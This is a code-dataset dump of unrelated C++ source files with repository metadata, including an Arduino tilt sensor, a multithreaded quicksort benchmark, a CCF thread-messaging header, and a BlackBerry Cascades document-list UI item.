UTF-8
C++
false
false
566
cpp
#include "tilt_sensor.h" void tilt_sensor::init(int _TiltsensorPin, int _ledPin ) { TiltsensorPin = _TiltsensorPin; ledPin = _ledPin; pinMode(ledPin, OUTPUT); pinMode(TiltsensorPin, INPUT); }; void tilt_sensor::update() { //checks to state of the sensor to read either a high or low value. tiltsensorState = digitalRead(TiltsensorPin); //Led is high when sensor is tilted. if (tiltsensorState == HIGH) { digitalWrite(ledPin, HIGH); } else { digitalWrite(ledPin, LOW); } } void tilt_sensor::dumpSerial() { Serial.print(tiltsensorState) };
[ "prcangel38@yahoo.com" ]
prcangel38@yahoo.com
7d503fd60d822827fa566ebdea2a822ae3147937
a9356a5f2a8b252f7baebcc153e1579f70a28fc7
/lab3a/sorting.cpp
f8124b8a5937a7f98e2a7a996899053df45e71fd
[ "Apache-2.0" ]
permissive
alekseykondus/ooop-2020-2021-semester-2
7fbc0401a445d3adac3abfebe29d94c2a6806546
345a4b03a94b51d28605d04e6c625cc9b800e205
refs/heads/main
2023-05-13T18:32:23.753969
2021-06-05T19:52:06
2021-06-05T19:52:06
342,336,503
0
0
null
null
null
null
UTF-8
C++
false
false
3,457
cpp
#include "sorting.h" Sorting::Sorting(size_t size) { unsorted = CreateVector(size); } std::vector<Type> Sorting::CreateVector(size_t size) { std::random_device rd; std::mt19937 mersenne(rd()); std::vector<Type> unsorted; for (size_t i = 0; i < size; i++) { unsorted.push_back(mersenne()); } return unsorted; } int Sorting::NaiveQuickSort(std::vector<Type>::iterator begin, std::vector<Type>::iterator end) { auto const size = end - begin; if (size <= 1) return 0; auto pivot = begin + size / 2; auto const pivot_v = *pivot; std::swap(*pivot, *(end - 1)); auto p = std::partition(begin, end, [&](const Type& a) { return a < pivot_v; }); std::swap(*p, *(end - 1)); NaiveQuickSort(begin, p); NaiveQuickSort(p + 1, end); return 0; } void Sorting::MultiThreadedQuicksort(std::vector<Type>::iterator begin, std::vector<Type>::iterator end) { if (end - begin > 1) { auto pivot = begin; auto p = Partition(begin, end, pivot); if (end - begin > 5000) { std::future<void> f1 = std::async(std::launch::async, [&]() {MultiThreadedQuicksort(begin, p); }); MultiThreadedQuicksort(p + 1, end); } else { NaiveQuickSort(begin, p); NaiveQuickSort(p + 1, end); } } } std::vector<Type>::iterator Sorting::Partition(std::vector<Type>::iterator begin, std::vector<Type>::iterator end, std::vector<Type>::iterator pivot) { std::vector<Type>::iterator left = begin, right = end; while (true) { while (*(++left) < *begin) { if (left == end - 1) break; } while (*begin < *(--right)) { if (right == begin) break; } if (left >= right) break; std::swap(*left, *right); } std::swap(*begin, *right); return right; } void Sorting::stdSort () { std::sort(unsorted.begin(), unsorted.end()); } void Sorting::CreateBenchmark() { srand(time(0)); QElapsedTimer time; std::ofstream fout("Benchmark.txt"); fout << "Number of logical processors: " << std::thread::hardware_concurrency() << std::endl << std::endl; fout << "Vector Size " << "One stream " << "Multi threaded " << "std::sort()" << std::endl; fout << "___________ " << "__________ " << "______________ " << "___________" << std::endl; for (size_t size = 100000; size < 21000000; size += 100000) { int numberOfDigits = (size==0? 1: int (log10 (size) + 1)); Sorting sort(size); Sorting sort_2 = sort; Sorting sort_3 = sort; fout << size << " "; if(numberOfDigits < 8) for (int k = 0; k < 8-numberOfDigits; k++) fout << " "; time.start(); sort.NaiveQuickSort(sort.GetVector().begin(), sort.GetVector().end()); fout << (float)time.nsecsElapsed()/1000000 << " "; time.start(); sort_2.MultiThreadedQuicksort(sort_2.GetVector().begin(), sort_2.GetVector().end()); fout << (float)time.nsecsElapsed()/1000000 << " "; time.start(); sort_3.stdSort(); fout << (float)time.nsecsElapsed()/1000000 << std::endl; } fout.close(); }
[ "60347730+alekseykondus@users.noreply.github.com" ]
60347730+alekseykondus@users.noreply.github.com
e0143a230d5bf62c5bdf42c3d616b37973eb6036
650043ce21b1b474237c280bd29fbc672b187960
/dsl/Rails.h
99a77cd97ba69115b4c3828ccae8242736544a08
[ "Apache-2.0" ]
permissive
rmosolgo/sorbet
98a7aedf96eedd2b3dccd19b032e383412c74289
7ab2564aaca51c990aec7b3958b61455c1567283
refs/heads/master
2023-08-30T09:54:09.694611
2019-06-20T19:41:30
2019-06-20T19:41:30
192,978,123
3
0
Apache-2.0
2019-06-20T19:41:58
2019-06-20T19:41:57
null
UTF-8
C++
false
false
569
h
#ifndef SORBET_DSL_RAILS_H #define SORBET_DSL_RAILS_H #include "ast/ast.h" namespace sorbet::dsl { /** * This class is meant to support some of the missing methods for rails. It is * in no way comprehensive, but will grow over time. * * It desugars things of the form * * class Foo < ActiveRecord::Migration[5.2] * * into * * class Foo < ActiveRecord::Migration::Compatibility::V5_2 * */ class Rails final { public: static void patchDSL(core::MutableContext ctx, ast::ClassDef *cdef); Rails() = delete; }; } // namespace sorbet::dsl #endif
[ "ci-bot-blackhole@stripe.com" ]
ci-bot-blackhole@stripe.com
90967fa487e5ec1df405c9567cc3842131b030d9
35df3a609c4988993bc45d285e204ef33913932e
/src/rectangle.h
f2989f8f0c3130a7a705803f5cfd61a130758d2e
[]
no_license
yangx066/week-04
6eb0d119f573009403b5999f949d3bd1c4e2fa05
6be28a35219ebf52aff16f123e8781ca30f9c27e
refs/heads/master
2021-01-18T15:00:54.427180
2017-03-08T16:21:54
2017-03-08T16:21:54
84,341,380
0
0
null
null
null
null
UTF-8
C++
false
false
330
h
#ifndef RECTANGLE_H #define RECTANGLE_H #include "ofMain.h" class rectangle { public: rectangle(); void draw(); void zenoToPoint(float catchX, float catchY); ofPoint pos; float catchUpSpeed; // take this pct of where I want to be, and 1-catchUpSpeed of my pos }; #endif // RECTANGLE_H
[ "yangx066@gmail.com" ]
yangx066@gmail.com
87c464aaf1550d73d2cf129e01efb7a770e7176f
4d26158e5de775387faf93e6c47386da4ad00cef
/src/ds/thread_messaging.h
265b10c8602fd80dd43052015a81897945f583f6
[ "Apache-2.0", "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
prakashngit/CCF
66ba7ab23af93736f32579cd0617e1199ed8bee9
3ae6e3d4074f424a85ee062aa1ed584e7e17f72f
refs/heads/master
2022-06-06T08:27:53.487883
2020-02-24T14:42:05
2020-02-24T14:42:05
242,808,475
0
0
Apache-2.0
2020-02-24T18:15:09
2020-02-24T18:15:08
null
UTF-8
C++
false
false
4,291
h
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the Apache 2.0 License. #pragma once //#define USE_MPSCQ #include "ds/logger.h" #ifdef USE_MPSCQ # include "ds/mpscq.h" #endif #include <atomic> #include <cstddef> #include <map> #include <thread> extern std::map<std::thread::id, uint16_t> thread_ids; namespace enclave { const uint64_t magic_const = 0xba5eball; struct alignas(16) ThreadMsg { void (*cb)(std::unique_ptr<ThreadMsg>); std::atomic<ThreadMsg*> next = nullptr; uint64_t magic = magic_const; ThreadMsg(void (*_cb)(std::unique_ptr<ThreadMsg>)) : cb(_cb) {} virtual ~ThreadMsg() { assert(magic == magic_const); } }; template <typename Payload> struct alignas(16) Tmsg : public ThreadMsg { Payload data; Tmsg(void (*_cb)(std::unique_ptr<Tmsg<Payload>>)) : ThreadMsg(reinterpret_cast<void (*)(std::unique_ptr<ThreadMsg>)>(_cb)) {} virtual ~Tmsg() = default; }; static void init_cb(std::unique_ptr<ThreadMsg> m) { LOG_INFO_FMT("Init was called"); } class Task { #ifdef USE_MPSCQ queue::MPSCQ<ThreadMsg> queue; #else std::atomic<ThreadMsg*> item_head = nullptr; ThreadMsg* local_msg = nullptr; #endif public: Task() { #ifdef USE_MPSCQ auto msg = new ThreadMsg; msg->cb = &init_cb; queue.init(msg); #endif } bool run_next_task() { #ifdef USE_MPSCQ if (queue.is_empty()) { return false; } ThreadMsg* current; bool result; std::tie(current, result) = queue.dequeue(); if (result) { current->cb(std::unique_ptr<ThreadMsg>(current)); } #else if (local_msg == nullptr && item_head != nullptr) { local_msg = item_head.exchange(nullptr); reverse_local_messages(); } if (local_msg == nullptr) { return false; } ThreadMsg* current = local_msg; local_msg = local_msg->next; current->cb(std::unique_ptr<ThreadMsg>(current)); #endif return true; } void add_task(ThreadMsg* item) { #ifdef USE_MPSCQ queue.enqueue(item, item); #else ThreadMsg* tmp_head; do { tmp_head = item_head.load(); item->next = tmp_head; } while (!item_head.compare_exchange_strong(tmp_head, item)); #endif } private: #ifndef USE_MPSCQ void reverse_local_messages() { if (local_msg == NULL) return; ThreadMsg *prev = NULL, *current = NULL, *next = NULL; current = local_msg; while (current != NULL) { next = current->next; current->next = prev; prev = current; current = next; } // now let the head point at the last node (prev) local_msg = prev; } #endif }; class ThreadMessaging { std::atomic<bool> finished; std::vector<Task> tasks; public: static ThreadMessaging thread_messaging; static std::atomic<uint16_t> thread_count; static const uint16_t main_thread = 0; static const uint16_t max_num_threads = 64; public: ThreadMessaging(uint16_t num_threads = max_num_threads) : finished(false), tasks(num_threads) {} void set_finished(bool v = true) { finished.store(v); } void run() { Task& task = tasks[thread_ids[std::this_thread::get_id()]]; while (!is_finished()) { task.run_next_task(); } } bool run_one(uint16_t tid) { Task& task = tasks[tid]; return task.run_next_task(); } template <typename Payload> void add_task(uint16_t tid, std::unique_ptr<Tmsg<Payload>> msg) { Task& task = tasks[tid]; task.add_task(reinterpret_cast<ThreadMsg*>(msg.release())); } template <typename RetType, typename InputType> static std::unique_ptr<Tmsg<RetType>> ConvertMessage( std::unique_ptr<Tmsg<InputType>> msg, void (*cb)(std::unique_ptr<Tmsg<RetType>>)) { auto ret = std::unique_ptr<enclave::Tmsg<RetType>>( (enclave::Tmsg<RetType>*)msg.release()); new (ret.get()) enclave::Tmsg<RetType>(cb); return ret; } private: bool is_finished() { return finished.load(); } }; };
[ "noreply@github.com" ]
prakashngit.noreply@github.com
db85e8f9b99e8280242c9692046e5299b36c6070
d4d71f04af840d212c52e76827d732d2826e295a
/src/Vector4D.cpp
8f00735bd4c83ec70150fcad0631acb77d2b769b
[]
no_license
cmbruns/sequoia
53a18861bbe7100ae1d5c645824ead6247693f54
dc3b79e198ac701ef0eecb0fed7249fa06b90903
refs/heads/master
2021-01-18T20:30:31.885488
2014-06-18T00:37:26
2014-06-18T00:37:26
20,944,116
1
0
null
null
null
null
UTF-8
C++
false
false
1,980
cpp
/* Copyright (c) 2005 Christopher M. Bruns * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject * to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // // $Id$ // // $Header$ // // $Log$ // Revision 1.1 2004/06/04 19:34:46 cmbruns // Imported structure related sources from archive on baxter // Debugged simple conversion of structures to sequences. // Implemented computation of solvent accessible surface areas // Created target residue_area, for output of residue solvent accessible surfaces areas // Updated GPL headers // // Revision 1.3 2002/09/14 00:02:51 bruns // Added license header to most .cc files // // Revision 1.2 2001/11/15 20:36:42 bruns // Added cvs tags to [A-Z]*.cc and [A-Z]*.h // #include "Vector4D.h" #include "VectorND.h" VectorND Vector4D::subvector(const int n1, const int n2) const { VectorND answer(n2 - n1 + 1); int i; // int j; const Vector4D & v = *this; int n = n2 - n1 + 1; for (i = 0; i < n; i++ ) answer[i] = v[i + n1]; return answer; }
[ "cmbruns@3da64b0a-0202-0410-8c91-c753549fdeb7" ]
cmbruns@3da64b0a-0202-0410-8c91-c753549fdeb7
2fd3ab91845aba4537ef7fbffffb832fda726b21
e51e8a6a04d0e57901cca3d866f33e54736053c9
/CodeForces/1005/a/56765409.cpp
c197aeef3db1a17e0c4c0c3ee586c72c961dd1a9
[]
no_license
Nipun4338/Solved-Programming-Problems
7cb638112ef3d135fc6594eac9c6e79c5b0a0592
401a9ecc3157b8b4aa275ceb8c67f4e90213bccd
refs/heads/master
2023-05-17T02:22:57.007396
2021-06-10T17:08:10
2021-06-10T17:08:10
283,442,802
0
0
null
null
null
null
UTF-8
C++
false
false
481
cpp
/* ID: Nipun Paul LANG: C++ PROB: God knows */ #include<bits/stdc++.h> using namespace std; int main() { int a, b[1005], sum = 0, c[1005],l=0; cin >> a; for (int i = 0; i < a; i++) { cin >> b[i]; if (b[i] == 1) { sum++; } } for (int i = 0; i < a; i++) { if (b[i + 1] <= b[i]) { c[l] = b[i]; l++; } } cout << sum << endl; for (int i = 0; i < sum; i++) { cout << c[i]; if (i != sum - 1) { cout << " "; } } cout << endl; return 0; }
[ "49658560+Nipun4338@users.noreply.github.com" ]
49658560+Nipun4338@users.noreply.github.com
9f5ffd078099a50033a1c6d5e0537584df1c4635
182808a7b07128136a918ea09da7fcbdb71441dc
/471A_Expression.cpp
5887e54704037f78000cbca4e1f75bcc6438f31f
[]
no_license
ankitsharma07/Codeforces
25b17eb920bbcc9557152e564b7ba1b6d2241962
c15c51a8474cbf90f5eb5afc4aac34eedeadd75b
refs/heads/master
2021-06-02T01:38:46.943264
2020-12-13T18:55:06
2020-12-13T18:55:06
144,665,511
2
0
null
null
null
null
UTF-8
C++
false
false
1,071
cpp
#include <bits/stdc++.h> using namespace std; int main(){ int a, b, c; cin >> a >> b >> c; int r1 = a + b * c; int r2 = a * (b+c); int r3 = a * b * c; int r4 = (a+b) * c; int r5 = a + b + c; int max; if (r1 > r2) { max = r1; } else { max = r2; } if (r3 > r4) { if (r3 > max) { max = r3; } } else { if (r4 > max) { max = r4; } } if (r4 > r5) { if (r4 > max) { max = r4; } } else { if (r5 > max) { max = r5; } } cout << max << endl; return 0; } /* #include<stdio.h> int main() { int a,b,c,i,max=0,ar[100]; scanf("%d %d %d",&a,&b,&c); ar[0]=a+b*c; ar[1]=a*(b+c); ar[2]=a*b*c; ar[3]=(a+b)*c; ar[4]=a+b+c; ar[5]=a*b+c; for(i=0;i<6;i++) { if(ar[i]>max) { max=ar[i]; } } printf("%d\n",max); return 0; } */
[ "ankitsharma0711@gmail.com" ]
ankitsharma0711@gmail.com
ea3b3a940d116004f80481da47a09df8e4bde458
fd8ce8e8f093b35e531d93fb62ed1797e104b3ce
/src/nsrlastdocitem.cpp
b740bf3e603bb7ce0ab51e584dc37d0d34a0cf3a
[]
no_license
saprykin/nsrreader-bb10
630e75c5a610926ccf065a36f7d93fb94e51707e
48c5a548917b3fdaa30c048527bcc23bb0bd68c1
refs/heads/master
2021-01-12T21:17:25.263877
2015-10-13T21:44:27
2015-10-13T21:44:27
15,398,795
4
2
null
null
null
null
UTF-8
C++
false
false
15,910
cpp
#include "nsrlastdocitem.h" #include "nsrglobalnotifier.h" #include "nsrthemesupport.h" #include "nsrreader.h" #include <bb/cascades/Application> #include <bb/cascades/StackLayout> #include <bb/cascades/DockLayout> #include <bb/cascades/StackLayoutProperties> #include <bb/cascades/Color> #include <bb/cascades/ImagePaint> #include <bb/cascades/ActionSet> #include <bb/cascades/ThemeSupport> #include <bb/cascades/Theme> #include <bb/cascades/ColorTheme> #include <QFile> using namespace bb::cascades; NSRLastDocItem::NSRLastDocItem (bb::cascades::Container* parent) : CustomControl (parent), _translator (NULL), _imageView (NULL), _textView (NULL), _label (NULL), _lockContainer (NULL), _viewContainer (NULL), _labelContainer (NULL), _imgTracker (NULL), _solidContainer (NULL), _innerContainer (NULL), _selectAnimation (NULL), _layoutHandler (NULL), _selected (false) { _translator = new NSRTranslator (this); memset (_solidSelect, 0, sizeof (_solidSelect)); memset (_innerSelect, 0, sizeof (_innerSelect)); Container *rootContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .layout(DockLayout::create ()) .background(NSRThemeSupport::instance()->getRecentItemBackground ()); _viewContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .layout(DockLayout::create()) .layoutProperties(StackLayoutProperties::create().spaceQuota(1.0)); _imageView = ImageView::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .scalingMethod(ScalingMethod::AspectFill); _textView = Label::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .visible(false); _textView->textStyle()->setFontSize (FontSize::XXSmall); _textView->textStyle()->setColor (NSRThemeSupport::instance()->getRecentItemText ()); _textView->setMultiline (true); _viewContainer->add (_imageView); _viewContainer->add (_textView); _label = Label::create ().horizontal(HorizontalAlignment::Center) .vertical(VerticalAlignment::Center); _label->textStyle()->setColor (Color::White); _label->textStyle()->setFontSize (FontSize::XSmall); _labelContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Bottom) .layout(DockLayout::create ()) .background(Color::Black); _labelContainer->setOpacity (0.8); _labelContainer->setTopMargin (0); #if BBNDK_VERSION_AT_LEAST(10,3,1) _labelContainer->setMinHeight (ui()->sddu (7)); _labelContainer->setLeftPadding (ui()->sddu (1.5f)); _labelContainer->setRightPadding (ui()->sddu (1.5f)); #elif BBNDK_VERSION_AT_LEAST(10,3,0) _labelContainer->setMinHeight (ui()->sdu (7)); _labelContainer->setLeftPadding (ui()->sdu (1.5f)); _labelContainer->setRightPadding (ui()->sdu (1.5f)); #else _labelContainer->setMinHeight (70); _labelContainer->setLeftPadding (15); _labelContainer->setRightPadding (15); #endif _labelContainer->add (_label); _lockContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Center) .background(Color::Transparent) .layout(StackLayout::create ()) .visible(false); QString themeDir = NSRThemeSupport::instance()->getAssetsThemeDirectory (); ImageView *lockImage = ImageView::create().imageSource(QUrl (QString("asset:///%1/lock.png").arg (themeDir))) .horizontal(HorizontalAlignment::Center) .vertical(VerticalAlignment::Center); Label *lockLabel = Label::create (); lockLabel->textStyle()->setFontSize (FontSize::XSmall); _lockContainer->add (lockImage); _lockContainer->add (lockLabel); rootContainer->add (_viewContainer); rootContainer->add (_labelContainer); rootContainer->add (_lockContainer); _imgTracker = new ImageTracker (this); bool ok = connect (_imgTracker, SIGNAL (stateChanged (bb::cascades::ResourceState::Type)), this, SLOT (onImageStateChanged (bb::cascades::ResourceState::Type))); Q_UNUSED (ok); Q_ASSERT (ok); #if BBNDK_VERSION_AT_LEAST(10,3,0) Color frameColor = Application::instance()->themeSupport()->theme()->colorTheme()->primary (); #else Color frameColor = NSRThemeSupport::instance()->getPrimaryBrand (); #endif Container *mainContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .layout(DockLayout::create()) .background(Color::Black); _solidContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .layout(DockLayout::create()) .background(Color::Transparent); _solidSelect[0] = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Top) .background(frameColor); _solidSelect[1] = Container::create().horizontal(HorizontalAlignment::Right) .vertical(VerticalAlignment::Center) .background(frameColor); _solidSelect[2] = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Bottom) .background(frameColor); _solidSelect[3] = Container::create().horizontal(HorizontalAlignment::Left) .vertical(VerticalAlignment::Center) .background(frameColor); #if BBNDK_VERSION_AT_LEAST(10,3,1) _solidSelect[0]->setPreferredHeight (ui()->sddu (0.4f)); _solidSelect[1]->setPreferredWidth (ui()->sddu (0.4f)); _solidSelect[2]->setPreferredHeight (ui()->sddu (0.4f)); _solidSelect[3]->setPreferredWidth (ui()->sddu (0.4f)); #elif BBNDK_VERSION_AT_LEAST(10,3,0) _solidSelect[0]->setPreferredHeight (ui()->sdu (0.4f)); _solidSelect[1]->setPreferredWidth (ui()->sdu (0.4f)); _solidSelect[2]->setPreferredHeight (ui()->sdu (0.4f)); _solidSelect[3]->setPreferredWidth (ui()->sdu (0.4f)); #else _solidSelect[0]->setPreferredHeight (4); _solidSelect[1]->setPreferredWidth (4); _solidSelect[2]->setPreferredHeight (4); _solidSelect[3]->setPreferredWidth (4); #endif _solidContainer->add (_solidSelect[0]); _solidContainer->add (_solidSelect[1]); _solidContainer->add (_solidSelect[2]); _solidContainer->add (_solidSelect[3]); _solidContainer->setVisible (false); _innerContainer = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Fill) .layout(DockLayout::create()) .background(Color::Transparent); #if BBNDK_VERSION_AT_LEAST(10,3,1) _innerContainer->setTopPadding (ui()->sddu (0.4f)); _innerContainer->setRightPadding (ui()->sddu (0.4f)); _innerContainer->setBottomPadding (ui()->sddu (0.4f)); _innerContainer->setLeftPadding (ui()->sddu (0.4f)); #elif BBNDK_VERSION_AT_LEAST(10,3,0) _innerContainer->setTopPadding (ui()->sdu (0.4f)); _innerContainer->setRightPadding (ui()->sdu (0.4f)); _innerContainer->setBottomPadding (ui()->sdu (0.4f)); _innerContainer->setLeftPadding (ui()->sdu (0.4f)); #else _innerContainer->setTopPadding (4); _innerContainer->setRightPadding (4); _innerContainer->setBottomPadding (4); _innerContainer->setLeftPadding (4); #endif _innerSelect[0] = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Top) .background(frameColor); _innerSelect[1] = Container::create().horizontal(HorizontalAlignment::Right) .vertical(VerticalAlignment::Center) .background(frameColor); _innerSelect[2] = Container::create().horizontal(HorizontalAlignment::Fill) .vertical(VerticalAlignment::Bottom) .background(frameColor); _innerSelect[3] = Container::create().horizontal(HorizontalAlignment::Left) .vertical(VerticalAlignment::Center) .background(frameColor); #if BBNDK_VERSION_AT_LEAST(10,3,1) _innerSelect[0]->setPreferredHeight (ui()->sddu (0.8f)); _innerSelect[1]->setPreferredWidth (ui()->sddu (0.8f)); _innerSelect[2]->setPreferredHeight (ui()->sddu (0.8f)); _innerSelect[3]->setPreferredWidth (ui()->sddu (0.8f)); #elif BBNDK_VERSION_AT_LEAST(10,3,0) _innerSelect[0]->setPreferredHeight (ui()->sdu (0.8f)); _innerSelect[1]->setPreferredWidth (ui()->sdu (0.8f)); _innerSelect[2]->setPreferredHeight (ui()->sdu (0.8f)); _innerSelect[3]->setPreferredWidth (ui()->sdu (0.8f)); #else _innerSelect[0]->setPreferredHeight (8); _innerSelect[1]->setPreferredWidth (8); _innerSelect[2]->setPreferredHeight (8); _innerSelect[3]->setPreferredWidth (8); #endif _innerContainer->setOpacity (0.0); _innerContainer->add (_innerSelect[0]); _innerContainer->add (_innerSelect[1]); _innerContainer->add (_innerSelect[2]); _innerContainer->add (_innerSelect[3]); rootContainer->add (_solidContainer); rootContainer->add (_innerContainer); _selectAnimation = FadeTransition::create().duration(350).delay(30).to(0.3).target(_innerContainer); ok = connect (_selectAnimation, SIGNAL (stopped ()), this, SLOT (onAnimationStopped ())); Q_ASSERT (ok); _layoutHandler = LayoutUpdateHandler::create(this).onLayoutFrameChanged (this, SLOT (onLayoutFrameChanged (QRectF))); mainContainer->add (rootContainer); setRoot (mainContainer); #if BBNDK_VERSION_AT_LEAST(10,2,0) _imageView->accessibility()->addLabel (_label); _textView->accessibility()->addLabel (_label); #endif #if BBNDK_VERSION_AT_LEAST(10,3,1) navigation()->setDefaultHighlightEnabled (false); ok = connect (navigation (), SIGNAL (wantsHighlightChanged (bool)), this, SLOT (onWantsHighlightChanged (bool))); Q_ASSERT (ok); ok = connect (ui (), SIGNAL (dduFactorChanged (float)), this, SLOT (onDynamicDUFactorChanged (float))); Q_ASSERT (ok); #endif ok = connect (NSRGlobalNotifier::instance (), SIGNAL (languageChanged ()), this, SLOT (retranslateUi ())); Q_ASSERT (ok); } NSRLastDocItem::~NSRLastDocItem () { } void NSRLastDocItem::updateItem (const QString& title, const QString& imgPath, const QString& text, const QString& path, bool encrypted) { _label->setText (title); _path = path; _lockContainer->setVisible (encrypted); if (encrypted) { _imageView->setVisible (false); _textView->setVisible (false); return; } if (QFile::exists (imgPath)) { _textView->setVisible (false); _imageView->setVisible (true); _imgTracker->setImageSource (QUrl::fromLocalFile (imgPath)); _viewContainer->setLeftPadding (0); _viewContainer->setTopPadding (0); _viewContainer->setRightPadding (0); _viewContainer->setBottomPadding (0); } else { _imageView->setVisible (false); _textView->setVisible (true); _textView->setText (text); #if BBNDK_VERSION_AT_LEAST(10,3,1) _viewContainer->setLeftPadding (ui()->sddu (1.2f)); _viewContainer->setTopPadding (ui()->sddu (1.2f)); _viewContainer->setRightPadding (ui()->sddu (1.2f)); _viewContainer->setBottomPadding (ui()->sddu (1.2f)); #elif BBNDK_VERSION_AT_LEAST(10,3,0) _viewContainer->setLeftPadding (ui()->sdu (1.2f)); _viewContainer->setTopPadding (ui()->sdu (1.2f)); _viewContainer->setRightPadding (ui()->sdu (1.2f)); _viewContainer->setBottomPadding (ui()->sdu (1.2f)); #else _viewContainer->setLeftPadding (12); _viewContainer->setTopPadding (12); _viewContainer->setRightPadding (12); _viewContainer->setBottomPadding (12); #endif } if (actionSetCount () > 0) actionSetAt(0)->setTitle (title); retranslateSubtitle (); } void NSRLastDocItem::select (bool select) { if (_selected == select) return; _selected = select; _solidContainer->setVisible (select); _innerContainer->setVisible (select); #if BBNDK_VERSION_AT_LEAST(10,3,1) _solidContainer->setOpacity (select ? 1.0f : 0.0f); _innerContainer->setOpacity (select ? 1.0f : 0.0f); #endif } void NSRLastDocItem::reset (bool selected, bool activated) { select (selected); activate (activated); } void NSRLastDocItem::activate (bool activate) { if (_selected) return; if (activate) { _innerContainer->setOpacity (0.0); _solidContainer->setOpacity (1.0); _selectAnimation->play (); _solidContainer->setVisible (true); _innerContainer->setVisible (true); } else { _selectAnimation->stop (); _solidContainer->setVisible (false); _innerContainer->setVisible (false); _innerContainer->setOpacity (1.0); _solidContainer->setOpacity (1.0); } } QString NSRLastDocItem::getDocumentPath () const { return _path; } QString NSRLastDocItem::getDocumentTitle () const { return _label->text (); } NSRTranslator * NSRLastDocItem::getTranslator () { return _translator; } void NSRLastDocItem::onImageStateChanged (bb::cascades::ResourceState::Type state) { if (state == ResourceState::Loaded) { _imageView->setImage (_imgTracker->image ()); if ((double) _imgTracker->height () / _imgTracker->width () < 1.2) { _imageView->setScalingMethod (ScalingMethod::AspectFit); _imageView->setVerticalAlignment (VerticalAlignment::Fill); _imageView->setHorizontalAlignment (HorizontalAlignment::Fill); } else { _imageView->setScalingMethod (ScalingMethod::AspectFill); _imageView->setVerticalAlignment (VerticalAlignment::Fill); _imageView->setHorizontalAlignment (HorizontalAlignment::Fill); } } } void NSRLastDocItem::onLayoutFrameChanged (const QRectF& rect) { float solidHeight = _solidSelect[0]->preferredHeight () + _solidSelect[2]->preferredHeight (); float innerHeight = _innerSelect[0]->preferredHeight () + _innerSelect[2]->preferredHeight (); _solidSelect[1]->setPreferredHeight (rect.height () - solidHeight); _solidSelect[3]->setPreferredHeight (rect.height () - solidHeight); _innerSelect[1]->setPreferredHeight (rect.height () - innerHeight - solidHeight); _innerSelect[3]->setPreferredHeight (rect.height () - innerHeight - solidHeight); } void NSRLastDocItem::onAnimationStopped () { _innerContainer->setOpacity (1.0); _solidContainer->setOpacity (1.0); } void NSRLastDocItem::retranslateUi () { retranslateSubtitle (); _translator->translate (); } void NSRLastDocItem::onWantsHighlightChanged (bool wantsHighlight) { #if BBNDK_VERSION_AT_LEAST(10,3,1) if (_selected) return; _solidContainer->setVisible (wantsHighlight); #else Q_UNUSED (wantsHighlight); #endif } void NSRLastDocItem::onDynamicDUFactorChanged (float dduFactor) { Q_UNUSED (dduFactor); #if BBNDK_VERSION_AT_LEAST(10,3,1) _labelContainer->setMinHeight (ui()->sddu (7)); _labelContainer->setLeftPadding (ui()->sddu (1.5f)); _labelContainer->setRightPadding (ui()->sddu (1.5f)); _solidSelect[0]->setPreferredHeight (ui()->sddu (0.4f)); _solidSelect[1]->setPreferredWidth (ui()->sddu (0.4f)); _solidSelect[2]->setPreferredHeight (ui()->sddu (0.4f)); _solidSelect[3]->setPreferredWidth (ui()->sddu (0.4f)); _innerContainer->setTopPadding (ui()->sddu (0.4f)); _innerContainer->setRightPadding (ui()->sddu (0.4f)); _innerContainer->setBottomPadding (ui()->sddu (0.4f)); _innerContainer->setLeftPadding (ui()->sddu (0.4f)); _innerSelect[0]->setPreferredHeight (ui()->sddu (0.8f)); _innerSelect[1]->setPreferredWidth (ui()->sddu (0.8f)); _innerSelect[2]->setPreferredHeight (ui()->sddu (0.8f)); _innerSelect[3]->setPreferredWidth (ui()->sddu (0.8f)); onLayoutFrameChanged (_layoutHandler->layoutFrame ()); #endif } void NSRLastDocItem::retranslateSubtitle () { if (actionSetCount () > 0) actionSetAt(0)->setSubtitle (NSRTranslator::translatePath (QFileInfo(_path).canonicalPath ())); }
[ "xelfium@gmail.com" ]
xelfium@gmail.com
5bebf1a9f8891973a0e0b079245dae7950e9da2b
5cef19f12d46cafa243b087fe8d8aeae07386914
/codeforces/512/C.cpp
86fe11e61e57c6b3b9b8fd0d7b663be3bffba5b6
[]
no_license
lych4o/competitive-programming
aaa6e1d3f7ae052cba193c5377f27470ed16208f
c5f4b98225a934f3bd3f76cbdd2184f574fe3113
refs/heads/master
2020-03-28T15:48:26.134836
2019-05-29T13:44:39
2019-05-29T13:44:39
148,627,900
1
0
null
null
null
null
UTF-8
C++
false
false
1,406
cpp
